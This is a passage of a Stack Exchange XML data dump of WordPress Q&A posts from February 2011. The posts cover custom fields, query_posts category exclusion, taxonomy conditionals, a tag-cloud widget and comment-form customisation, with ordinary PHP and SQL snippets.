rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Converting_Database_Character_Sets&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Peter&lt;/p&gt;&#xA;" OwnerUserId="653" LastActivityDate="2011-02-18T14:09:42.580" />
  <row Id="9741" PostTypeId="1" AcceptedAnswerId="9744" CreationDate="2011-02-18T14:23:28.903" Score="0" ViewCount="79" Body="&lt;p&gt;This is from the codex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( get_post_meta($post-&amp;gt;ID, 'thumb', true) ) : ?&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&#xA;        &amp;lt;img class=&quot;thumb&quot; src=&quot;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'thumb', true) ?&amp;gt;&quot; alt=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to include an if statement like the example above. But I can't figure out the proper way of doing that to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php // Set and display custom field&#xA;        $mainbar_left_title = get_post_meta($post-&amp;gt;ID, 'Mainbar Left Title', true);&#xA;        $mainbar_left_image = get_post_meta($post-&amp;gt;ID, 'Mainbar Left Image', true); ?&amp;gt;&#xA;        &amp;lt;div class=&quot;float-left&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;?php echo $mainbar_left_title; ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;img src=&quot;&amp;lt;?php echo $mainbar_left_image ?&amp;gt;&quot; alt=&quot;&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt; &amp;lt;?php&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-02-18T14:47:36.470" LastActivityDate="2011-02-18T14:47:36.470" Title="How would an if statement surrounding a custom field with two variables (holding values) look like?" Tags="&lt;php&gt;&lt;custom-field&gt;" AnswerCount="2" />
  <row Id="9742" PostTypeId="2" ParentId="9731" CreationDate="2011-02-18T14:37:56.420" Score="1" ViewCount="" Body="&lt;p&gt;You can use spaces and uppercase chars(periods, commas, and more) without worry. Only time you'll see any problems is with &lt;code&gt;register_globals&lt;/code&gt; on(strict array key names when enabled), but who has it enabled these days?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any of these should be fine as custom field names.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;My Image&lt;/li&gt;&#xA;&lt;li&gt;My.Field&lt;/li&gt;&#xA;&lt;li&gt;112,Hello&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Use whichever you prefer.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-18T14:37:56.420" />
  <row Id="9743" PostTypeId="1" AcceptedAnswerId="9747" CreationDate="2011-02-18T14:40:25.947" Score="0" ViewCount="84" Body="&lt;p&gt;To use jQuery UI accordion, I need markup like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;Module 1&amp;lt;/h3&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;   &amp;lt;!-- module content here --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&amp;lt;h3&amp;gt;Module 2&amp;lt;/h3&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;   &amp;lt;!-- module content here --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I setup my side bar like that? Or perhaps I somehow change the way jQuery creates accordian, maybe there are some options?&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2011-02-18T14:51:56.680" Title="How to setup sidebar modules to use jQuery Accordian" Tags="&lt;theme-development&gt;&lt;sidebar&gt;" AnswerCount="1" />
  <row Id="9744" PostTypeId="2" ParentId="9741" CreationDate="2011-02-18T14:41:52.933" Score="5" ViewCount="" Body="&lt;p&gt;&lt;code&gt;&amp;lt;?php if ( $mainbar_left_title &amp;amp;&amp;amp; $mainbar_left_image ) : ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://www.php.net/manual/en/language.operators.logical.php&quot; rel=&quot;nofollow&quot;&gt;http://www.php.net/manual/en/language.operators.logical.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-02-18T14:41:52.933" />
  <row Id="9745" PostTypeId="2" ParentId="9741" CreationDate="2011-02-18T14:41:57.660" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;&lt;pre&gt;&#xA;&amp;lt;?php if ( get_post_meta($post-&gt;ID, 'Mainbar Left Title', true) &amp;amp;&amp;amp; get_post_meta($post-&gt;ID, 'Mainbar Left Image', true) ) ) : ?&amp;gt;&#xA;        &amp;lt;div class=&quot;float-left&quot;&gt;&#xA;        &amp;lt;h2&gt;&amp;lt;?php echo $mainbar_left_title; ?&gt;&#xA;            &amp;lt;img src=&quot;&quot; alt=&quot;&quot; /&gt;&#xA;        &amp;lt;/div&gt;&#xA;&amp;lt;?php endif; ?&gt;&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-02-18T14:41:57.660" />
  <row Id="9746" PostTypeId="1" AcceptedAnswerId="9754" CreationDate="2011-02-18T14:49:42.563" Score="0" ViewCount="75" Body="&lt;p&gt;I never used custom fields so I got a bit exited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if I'm overusing them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/IDImY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/3bf6p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm using them to display the title of images and images themselves. (big and small ones).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used to do it with custom post types but it didn't make sense since those images belong only to that single posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-02-18T15:22:41.400" Title="Am I overusing custom fields (for adding nearly 5 images and their titles)?" Tags="&lt;custom-field&gt;" AnswerCount="3" />
  <row Id="9747" PostTypeId="2" ParentId="9743" CreationDate="2011-02-18T14:51:56.680" Score="1" ViewCount="" Body="&lt;p&gt;When you register your sidebar, you can change how it handles those things with the &lt;code&gt;before_title&lt;/code&gt;, &lt;code&gt;after_title&lt;/code&gt;, &lt;code&gt;before_widget&lt;/code&gt;, and &lt;code&gt;after_widget&lt;/code&gt; arguments. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_sidebar(array(&#xA;  'before_widget' =&amp;gt; '',&#xA;  'before_title' =&amp;gt; '&amp;lt;h3&amp;gt;',&#xA;  'after_title' =&amp;gt; &quot;&amp;lt;/h3&amp;gt;\n&amp;lt;div&amp;gt;&quot;,&#xA;  'after_widget' =&amp;gt; '&amp;lt;/div&amp;gt;'&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would make all of the widgets in that sidebar have that structure. You could also add classes to the tags defined there (&lt;code&gt;&amp;lt;h3 class=&quot;accordion-toggle&quot;&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;/h3&amp;gt;\n&amp;lt;div class='accordion-content'&amp;gt;&lt;/code&gt;). Just make sure all your widgets have a title; otherwise the widget will cause some tag imbalance.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-02-18T14:51:56.680" />
  <row Id="9748" PostTypeId="2" ParentId="9719" CreationDate="2011-02-18T15:06:57.753" Score="0" ViewCount="" Body="&lt;p&gt;Possible solutions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Delete your existing .htaccess, and re-enable the permalinks.&lt;/li&gt;&#xA;&lt;li&gt;Like Kaaviar said, check if .htaccess is writeable, else, you may have to create it on your own.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Traps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Does your new server have .htaccess and mod_rewrite enabled?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" LastActivityDate="2011-02-18T15:06:57.753" />
  <row Id="9749" PostTypeId="2" ParentId="9746" CreationDate="2011-02-18T15:07:17.383" Score="0" ViewCount="" Body="&lt;p&gt;I think that attachments would be perfect in this case.  &lt;a href=&quot;http://digwp.com/2009/08/awesome-image-attachment-recipes-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Here's&lt;/a&gt; a good overview. &lt;/p&gt;&#xA;" OwnerUserId="2807" LastActivityDate="2011-02-18T15:07:17.383" />
  <row Id="9750" PostTypeId="1" CreationDate="2011-02-18T15:09:22.727" Score="0" ViewCount="65" Body="&lt;p&gt;I have set my home page to use a static template. So I created a Blog page to use a blog template to render my blog posts. The problem is it just renders the page content. I want it to render blog posts. Minus that of category &quot;portfolio&quot; &amp;amp; &quot;WIP&quot;. Do I need to create a custom &lt;code&gt;query_posts&lt;/code&gt;? what might it look like. To simulate what I get by default if my home page is set to latest posts. I will also need pagination to work.&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2011-02-18T15:21:09.470" Title="How to setup blog page to render blog posts minus afew categories" Tags="&lt;query-posts&gt;&lt;page-template&gt;" AnswerCount="1" />
  <row Id="9751" PostTypeId="2" ParentId="9746" CreationDate="2011-02-18T15:11:15.660" Score="1" ViewCount="" Body="&lt;p&gt;What's wrong with using the built-in post attachments&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_type' =&amp;gt; 'attachment',&#xA;    'numberposts' =&amp;gt; null,&#xA;    'post_status' =&amp;gt; null,&#xA;    'post_parent' =&amp;gt; $post-&amp;gt;ID&#xA;);&#xA;$attachments = get_posts($args);&#xA;if ($attachments) {&#xA;    foreach ($attachments as $attachment) {&#xA;        echo apply_filters('the_title', $attachment-&amp;gt;post_title);&#xA;        the_attachment_link($attachment-&amp;gt;ID, false);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can get the same results and not overload your postmeta table.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-18T15:11:15.660" />
  <row Id="9752" PostTypeId="1" AcceptedAnswerId="9755" CreationDate="2011-02-18T15:15:59.960" Score="0" ViewCount="198" Body="&lt;p&gt;I'm trying to display different content depending on the taxonomy that was been selected. For example I have a taxonomy named Type. Inside that taxonomy I have several different children, one is &quot;Photography.&quot; I'd like the single of a &quot;Photography&quot; to have a full width instead of it having a sidebar. You can do this in regular Posts by using &quot;if in_category('photography')&quot; but I've spent the past couple hours trying to rig the_terms and the like to function as such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for the help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Pete&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2011-02-18T16:51:51.267" Title="Function like in_category for custom taxonomies" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;conditional-content&gt;" AnswerCount="2" />
  <row Id="9753" PostTypeId="2" ParentId="9750" CreationDate="2011-02-18T15:21:09.470" Score="1" ViewCount="" Body="&lt;p&gt;if you want to exclude categories then you do need to create a custom query&#xA;something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$page = (get_query_var('paged')) ? get_query_var('paged') : 1;    &#xA;query_posts( array( 'category__not_in' =&amp;gt; array( 2, 6 ) , 'paged' =&amp;gt; $page ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just above the loop and change 2 , 6 to the category ids which you want to exclude , and to help keep pagination i would add &lt;code&gt;wp_reset_query();&lt;/code&gt; just after the loop to save later problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;keep in mind that this is probably the simplest form of the query_post you need but if you want more out of its power take a look at the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;codex&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope This Helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-18T15:21:09.470" CommentCount="2" />
  <row Id="9754" PostTypeId="2" ParentId="9746" CreationDate="2011-02-18T15:22:41.400" Score="4" ViewCount="" Body="&lt;p&gt;With the limited view we can see of &lt;em&gt;how&lt;/em&gt; you're using the custom fields, I don't think you're over-using them.  However, I would try to clean things up a bit.  &quot;Featured Image&quot; and &quot;Featured Title&quot; obviously are related to the same image.  So are &quot;Main Left Image&quot; and &quot;Main Left Title.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than using public custom fields for these, I'd use private custom fields and a custom meta box to hold everything.  This will clean things up quite a bit, make the post page seem less cluttered, and give you a clearer link between the related custom fields.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Private Custom Fields&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The difference between private and public custom fields is the name.  Prefix the name of a custom field with an underscore and it becomes &quot;private.&quot;  This means it doesn't show up in the list of custom fields for a post unless you tell it to, but you can still create it and read it back using the same &lt;code&gt;add_post_meta()&lt;/code&gt; and &lt;code&gt;get_post_meta()&lt;/code&gt; functions.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Custom Meta Box&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;All of the editable boxes in WordPress (title, post content, publication data, categories, etc) are meta boxes.  You can create your own that identifies the specific custom fields you're using and sets them as appropriate&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look around a bit, you'll find some great tutorials and instructions for how to add custom meta boxes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;The Codex&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://farinspace.com/how-to-create-custom-wordpress-meta-box/&quot; rel=&quot;nofollow&quot;&gt;How to Create a Custom WordPress Meta Box&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-02-18T15:22:41.400" />
  <row Id="9755" PostTypeId="2" ParentId="9752" CreationDate="2011-02-18T15:26:49.820" Score="2" ViewCount="" Body="&lt;p&gt;Try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function has_type( $type, $_post = null ) {&#xA;    if ( empty( $type) )&#xA;        return false;&#xA;&#xA;    if ( $_post )&#xA;        $_post = get_post( $_post );&#xA;    else&#xA;        $_post =&amp;amp; $GLOBALS['post'];&#xA;&#xA;    if ( !$_post )&#xA;        return false;&#xA;&#xA;    $r = is_object_in_term( $_post-&amp;gt;ID, 'type', $type);&#xA;&#xA;    if ( is_wp_error( $r ) )&#xA;        return false;&#xA;&#xA;    return $r;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Usage:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( has_type( 'Photography' ) ) /* do your thing*/ ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-18T15:26:49.820" CommentCount="2" />
  <row Id="9756" PostTypeId="1" AcceptedAnswerId="9759" CreationDate="2011-02-18T15:57:17.013" Score="1" ViewCount="270" Body="&lt;p&gt;There exist a way to alter default widget to display a tag cloud of a custom taxonomy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastActivityDate="2011-02-18T16:14:27.547" Title="Widget to display custom taxonomy tag cloud" Tags="&lt;tags&gt;" AnswerCount="1" />
  <row Id="9757" PostTypeId="1" AcceptedAnswerId="9767" CreationDate="2011-02-18T15:59:55.623" Score="1" ViewCount="88" Body="&lt;p&gt;Pretty much what the question says. I used simple fields, but I'm unsure in WP how to get the information back to display on a page?&lt;/p&gt;&#xA;" OwnerUserId="3226" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-19T00:02:14.340" LastActivityDate="2011-02-19T00:02:14.340" Title="When using Simple Fields plugin, how do I pull the information out of the database to display on a page?" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;forms&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="9758" PostTypeId="2" ParentId="9727" CreationDate="2011-02-18T16:05:49.277" Score="0" ViewCount="" Body="&lt;p&gt;Answered a similar question on the .org forums &lt;a href=&quot;http://wordpress.org/support/topic/always-link-to-the-image-file-not-attachment-page&quot; rel=&quot;nofollow&quot;&gt;very recently&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum it up though..&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to yoursite.com/wp-admin/options.php &lt;/li&gt;&#xA;&lt;li&gt;Scroll down the page until you see image_default_link_type&lt;/li&gt;&#xA;&lt;li&gt;Set that option to either &lt;code&gt;file&lt;/code&gt;, &lt;code&gt;post&lt;/code&gt; or to an empty value.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Empty = no link&lt;br&gt;&#xA;File = links the file(what you asked for)&lt;br&gt;&#xA;Post = the attachment page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-18T16:05:49.277" />
  <row Id="9759" PostTypeId="2" ParentId="9756" CreationDate="2011-02-18T16:14:27.547" Score="3" ViewCount="" Body="&lt;p&gt;Don't know of any but you can easily create your own:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;add_action(&quot;widgets_init&quot;, array('Widget_Custom_tax_tag_cloud', 'register'));&#xA;class Widget_Custom_tax_tag_cloud {&#xA;    function control(){&#xA;        echo 'No control panel';&#xA;    }&#xA;    function widget($args){&#xA;        echo $args['before_widget'];&#xA;        echo $args['before_title'] . 'Your widget title' . $args['after_title'];&#xA;        $cloud_args = array('taxonomy' =&amp;gt; 'Your taxonomy here');&#xA;        wp_tag_cloud( $cloud_args ); &#xA;        echo $args['after_widget'];&#xA;    }&#xA;    function register(){&#xA;        register_sidebar_widget('Widget name', array('Widget_Custom_tax_tag_cloud', 'widget'));&#xA;        register_widget_control('Widget name', array('Widget_Custom_tax_tag_cloud', 'control'));&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just change : 'Your widget title' with your title and Your 'taxonomy here' with the name of your taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can change the look and feel by passing more arguments in the $cloud_args from the large list in the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_tag_cloud&quot; rel=&quot;nofollow&quot;&gt;codex&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-18T16:14:27.547" />
  <row Id="9760" PostTypeId="2" ParentId="6533" CreationDate="2011-02-18T16:39:07.897" Score="1" ViewCount="" Body="&lt;p&gt;You need to make sure that the $currentcat variable is set before this query runs.  This should be the id of the category you want to pull top posts from.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql = &quot;SELECT count(mr.post_ID) AS totHits, p.ID, p.post_title FROM $wpdb-&amp;gt;posts p &#xA;JOIN {$wpdb-&amp;gt;prefix}kf_most_read mr ON mr.post_ID = p.ID &#xA;JOIN {$wpdb-&amp;gt;prefix}term_taxonomy ON ($wpdb-&amp;gt;term_relationships.term_taxonomy_id = $wpdb-&amp;gt;term_taxonomy.term_taxonomy_id)&#xA;WHERE mr.hit_ts &amp;gt;= '&quot;.(time() - ( 86400 * $period)).&quot;' &#xA;AND $wpdb-&amp;gt;term_taxonomy.taxonomy = 'category'&#xA;AND $wpdb-&amp;gt;term_taxonomy.term_id IN ($currentcat)&#xA;GROUP BY mr.post_ID ORDER BY totHits DESC, ID ASC LIMIT $limit&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3220" LastActivityDate="2011-02-18T16:39:07.897" CommentCount="2" />
  <row Id="9761" PostTypeId="2" ParentId="9752" CreationDate="2011-02-18T16:51:51.267" Score="2" ViewCount="" Body="&lt;p&gt;In WP 3.1, you have the handy has_term() function, found in wp-includes/category-template.php.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-02-18T16:51:51.267" />
  <row Id="9762" PostTypeId="2" ParentId="9692" CreationDate="2011-02-18T17:30:16.590" Score="3" ViewCount="" Body="&lt;p&gt;This is definitely not error message produced by WordPress, so it comes from server software. Please check server logs (if you have access and skills) and ask your hosting support to look into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is hard to make a good guess from this little information.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-18T17:30:16.590" />
  <row Id="9763" PostTypeId="1" AcceptedAnswerId="9809" CreationDate="2011-02-18T17:37:42.917" Score="1" ViewCount="222" Body="&lt;p&gt;I am attempting to resolve a problem I continue to have with the media library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, what I am looking to do is &quot;automatically&quot; assign media which is uploaded from a custom post type &quot;edit post&quot; page to a predefined category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on other answers on this site I have found various people discussing solution (one of these links is below) which allow you to &quot;manually&quot; assign a category to media library elements. My aim however is to somehow define specific post types and the associating category which should be applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the same time I would also like the ability to restricting a &quot;specific post type&quot; so when the media library lightbox is requested from the edit post page that the &quot;media library&quot; ONLY shows items within the categories I define.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this might sound a bit confusing so let me provide a quick example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I have a custom post type called &quot;employee news&quot;. Now let's say that someone proceeds to add/edit a post within this custom post type. Let's further assume that he now uses the editor to add content and now want to add one/more images. As expected he would select the &quot;add media&quot; button above the editor and either (a) upload a new image or (b) select an image from the media library. THESE are the two areas I am talking about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need is the correct code to put into my functions.php file so that either one or both of the following can be set individually:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(a) Ability to specify a custom post type and define the hidden category name to be associated with any file uploaded to the media library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(b) Ability to specify a custom post type and define the &quot;restricted categories&quot; to be used when presenting the files available for the user to select from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be achieved correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related Question related to Category assignment of media elements:&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/496/can-i-add-a-category-metabox-to-attachment&quot;&gt;Can I add a Category Metabox to attachment?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related Question related to conditional logic related to the media library:&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/4302/conditional-add-filter&quot;&gt;Conditional add_filter?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2011-02-21T07:35:38.117" Title="How do I modify the &quot;Insert Media&quot; lightbox in the admin to only show media items from a category?" Tags="&lt;custom-taxonomy&gt;&lt;custom-field&gt;&lt;attachments&gt;&lt;media&gt;&lt;media-library&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" />
  <row Id="9764" PostTypeId="1" CreationDate="2011-02-18T17:45:10.487" Score="1" ViewCount="196" Body="&lt;p&gt;on my &lt;a href=&quot;http://WPWeekly.net&quot; rel=&quot;nofollow&quot;&gt;WPWeekly.net&lt;/a&gt; website, I am currently having to set the number of posts to show manually in the Setup-&gt;Reading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a snippet that will let me have the home page blog show only the current week's posts automatically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3290" LastEditorUserId="3290" LastEditorDisplayName="" LastEditDate="2011-02-18T19:39:42.357" LastActivityDate="2011-03-04T20:11:08.823" Title="How do I set up my blog home page to show only this weeke's posts automatically?" Tags="&lt;date-time&gt;&lt;blog&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="9765" PostTypeId="2" ParentId="9726" CreationDate="2011-02-18T17:58:27.937" Score="0" ViewCount="" Body="&lt;p&gt;Embeds are cached in hidden custom fields of a post. You can retrieve all keys with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_custom&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_post_custom()&lt;/code&gt;&lt;/a&gt; of latest post and loop through it, looking for array key that starts wih &lt;code&gt;_oembed_&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-18T17:58:27.937" CommentCount="1" />
  <row Id="9766" PostTypeId="2" ParentId="9764" CreationDate="2011-02-18T18:03:22.130" Score="1" ViewCount="" Body="&lt;p&gt;According to docs you can retrieve such set of posts by using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Time_Parameters&quot; rel=&quot;nofollow&quot;&gt;Time Parameters with &lt;code&gt;query_posts()&lt;/code&gt;&lt;/a&gt;, but note that it will likely horribly break your pagination and links to older entries.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-18T18:03:22.130" CommentCount="2" />
  <row Id="9767" PostTypeId="2" ParentId="9757" CreationDate="2011-02-18T19:08:11.603" Score="1" ViewCount="" Body="&lt;p&gt;EAMann helped me and I was able to get the meta data from clicking on &quot;show custom field keys&quot; and using get_post_meta();&lt;/p&gt;&#xA;" OwnerUserId="3226" LastActivityDate="2011-02-18T19:08:11.603" />
  <row Id="9768" PostTypeId="1" CreationDate="2011-02-18T19:41:52.497" Score="0" ViewCount="124" Body="&lt;p&gt;how i can modify comments form, my theme just call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php comment_form(); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3294" LastActivityDate="2011-05-20T02:46:22.293" Title="how to modify comments form" Tags="&lt;comments&gt;&lt;form&gt;&lt;comment-form&gt;" AnswerCount="3" />
  <row Id="9769" PostTypeId="2" ParentId="9768" CreationDate="2011-02-18T19:49:35.907" Score="1" ViewCount="" Body="&lt;p&gt;Do you mean modifying its text or behavior? The function is very extensive and customizable. It both accepts extensive set of parameters and has a lot of hooks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For starters see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/comment_form&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;comment_form()&lt;/code&gt;&lt;/a&gt; in Codex;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ottopress.com/2010/wordpress-3-0-theme-tip-the-comment-form/&quot; rel=&quot;nofollow&quot;&gt;WordPress 3.0 Theme Tip: The Comment Form&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-18T19:49:35.907" CommentCount="2" />
  <row Id="9770" PostTypeId="1" CreationDate="2011-02-18T20:37:20.590" Score="0" ViewCount="80" Body="&lt;p&gt;Is there a way to integrate wordpress with user email addresses. We have built a booking system and combined a few social network features into the user accounts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We would very much like to have an online email system. This is not difficult and their are many ways of doing it. The way we have arranged it so far is emails being a custom post type and using the AUTHOR attribute to display them in the user accounts. When an admin replies to the emails the system enters the author as a tag thus showing it up back on the user account. The user is emailed a copy of the response to their normal email inbox.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is would it then be possible that if the user replied to that email in their normal inbox for it to post the response back to their online wordpress account. I am well aware of how the post via email system works. It is whether is is possible to allow user replies to post in this manner and also whether it is secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the response would always be to the same email address I see it being possible but I don't know about the security implications of doing this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would very much appreciate some advice from this community and if anything like this has been attempted before / exists already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many Thanks,&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-02-18T20:37:20.590" Title="Wordpress email integration - possible and secure?" Tags="&lt;3.0&gt;&lt;posts&gt;&lt;email&gt;" />
